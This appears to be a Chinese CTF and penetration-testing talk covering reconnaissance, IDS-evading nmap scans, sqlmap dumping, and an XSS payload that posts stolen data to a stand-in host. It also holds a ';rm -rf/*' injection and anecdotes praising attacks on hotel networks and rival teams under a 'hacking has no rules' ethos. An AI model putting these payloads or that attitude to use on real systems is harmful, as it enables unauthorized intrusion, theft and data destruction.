About Me
id:redrain
熟悉各种主流,非主流渗透测试技术
资深赛棍,CTF,wargame爱好者,获国内各大CTF冠亚季军balabala
light4freedom成员
blog: http://www.hackdog.me
部分writeup: http://www.hackdog.me/writeup/
CTF概览
为了评估,发现安全人才而开设的一种比赛模式
通常分为线上解题模式和线下攻防模式
如著名的CTF赛制,wargame赛制
比赛内容包括了web,binary,网络,移动安全,无线安全,大数据等等
平时在哪儿玩儿
ctftime
http://ctftime.org
wechall
http://wechall.net
渗透测试关键技术
获取信息(gather info)
攻击行为(sqli,xss...)
权限提升(privilege elevation)
获取信息
信息收集
服务器信息%中间件信息(iis,apache,nginx,django等webserver)
http响应报文
域名whois
敏感文件和路径
phpinfo(web探针)
数据库信息(类型,版本等,通常由sqli获取)
管理员信息
子域名&&同服&&C段服务器信息探测
......
扫描器
通常情况vul scanner不允许使用
扫描器可以很方便的探测信息,找到漏洞,但是容易触发ids,防火墙
w3af
nmap
了解nmap常用命令
nmap -h
基本语法:
nmap [扫描方式] [命令选项] {目标}
nmap -p 80,8080 ip
(只扫描开放80和8080端口的主机)
扫描方式配合使用
禁用ping扫描,使用静默扫描绕过ids检测
nmap -Pn -sS -A -v -T4 IP
域名相关信息探测
whois
子域名探测(爆破,域传送漏洞)
whois
子域名探测(通过爆破和接口查询)
子域名探测(域传送漏洞)
攻击行为
sql注入(sql injection)
因为用户输入参数可控且带入程序语句,入库查询,导致sql注入
%显错注入(直接注入闭合符号报错)
%盲注(判断语句进行注入)
%边信道注入(延时注入)
不得不说的自动化工具
sqlmap
havij
sqlmap -u url(GET)
sqlmap -u url --data(POST)
sqlmap -u url --dbs
sqlmap -u url -D(指定数据库) --tables
sqlmap -u url -D(制定数据库) -T(指定表名) --columns
sqlmap -u url -D(制定数据库) -T(指定表名) -C(制定字段) --dump
不同的数据库的注入差异
Access
Mssql(SQLserver)
Mysql
Oracle
MongoDB
......
Access只能通过字典爆表
Mssql如果是以sa权限的用户可以通过xp_cmdshell执行系统命令
Mysql5可在information库读取到表信息,如果是root用户也可执行命令
Oracle提升权限到DBA后可导出JAVA执行系统命令
......
XSS
跨站点脚本攻击
在页面注入了黑客的恶意js,可盗取cookie,传播蠕虫,挂马,实现rootkit后门等
CTF中,xss往往配合其他攻击手法使用
1
2
3
4
|
xss: href='http://host.xxoo.php'$.ajax({url:"/xxx.php?id=1 and 1=sqli payload",
type:'GET',success: function(data){
$.post('http://host/xxoo.php',{'a':data});
}});
|
一些其他漏洞利用
PHP文件包含(远程,本地)
命令执行
代码执行
中间件,框架漏洞
php文件包含
爆破(口令字典)
通过字典,暴力破解帐号密码
没有验证码
没有限制用户提交次数
系统权限提升
通过现有的系统漏洞利用(exp)提权
通过第三方应用提权(mysql,mssql,filezilla...)
通过管理信息泄漏,碰撞密码,直接拿到最高权限
通过现有的系统漏洞利用(exp)提权
CTF和实际场景的区别
丫的肯定是有漏洞的
CTF肯定是有漏洞的,可能只是我们脑洞没跟上
CTF考察一个点,实际工作面对的是安全整体
针对已知信息猜测考察点,不需要和平时工作一样太多考虑整个安全整体
脑洞大开
出题人水平层次不齐,所以脑洞一定要坐北朝南
赛棍的奥义
一切输入都是有害的
找到交互点,结合白/黑盒方式测试输入输出
一切信息都是有用的
对目标进行详细的信息探测,将会大大方便接下来的工作
例如:比赛形式最喜欢将敏感信息藏在http返回包里
多尝试不同的攻击手段
有时比赛环境的出题人脑洞比较大,和实际攻击场景有出入
例如:同样是一个sqli,出题环境做了硬编码,只有唯一答案
所以payload在你本地work,在环境不work
攻击犀利,但是要保护自己
在很多的比赛中,尤其是线下赛,经常有选手的电脑接入网络环境后被黑
直接暴露弱点是不聪明的,你可以扩大自己的攻击成果但是要保护自己
讲故事环节~
我是如何当搅屎棍增加比赛难度的
我的奉行的hacking精神:share,free,weisuo!(英文不会写)
一定要抱着对抗的心态
13年的浙大比赛,一个web题目通过RCE来getshell
通常做法都是getshell然后getflag
猥琐之人就会通过命令执行反弹一个持续性交互式会话
然后不断kill其他选手的进程并且删除新增的shell
此间,除了我之外的所有选手都不能正常做题
但是仍然有同样猥琐的人明白我们的权限相同
于是开始了死循环的执行命令互相kill进程的交锋
最终官方看不下去,阉割了kill和rm命令
充分的信息获取
接入网络环境后先把整个网段做一次全面的探测,会有惊喜
去各种决赛时,除了在酒店和黑客捡肥皂,一定要小心酒店点网络我们的习惯:入住后先把酒店网络撸了,或者直接做中间人攻击
物理渗透,你怕不怕!
去年的百度BCTF中
好基友EM的自动化flag提交脚本拼接参数没过滤
被sigma的基友命令注入
;rm -rf/*
我们于是悄悄帮其"复仇"当天结束比赛时,ztz利用身高优势从桌子下爬到sigma的场地
将其一根网线从线盒拉到我这里,于是。。。
第二天我偷了他们一早上的flag
为搅屎棍喝彩
总之,我所认为,hacking就是没有规则的
虽自己说是搅屎棍,其实却是随时带着对抗在hacking
有很多学院派的小朋友们很不能接受比赛被我们戏弄
却不知在真实场景中,遇到的对抗更犀利
为崇尚自由,猥琐hacking的各位拍手
啪啪啪
本文转载自 Redrain
原文链接:http://www.hackdog.me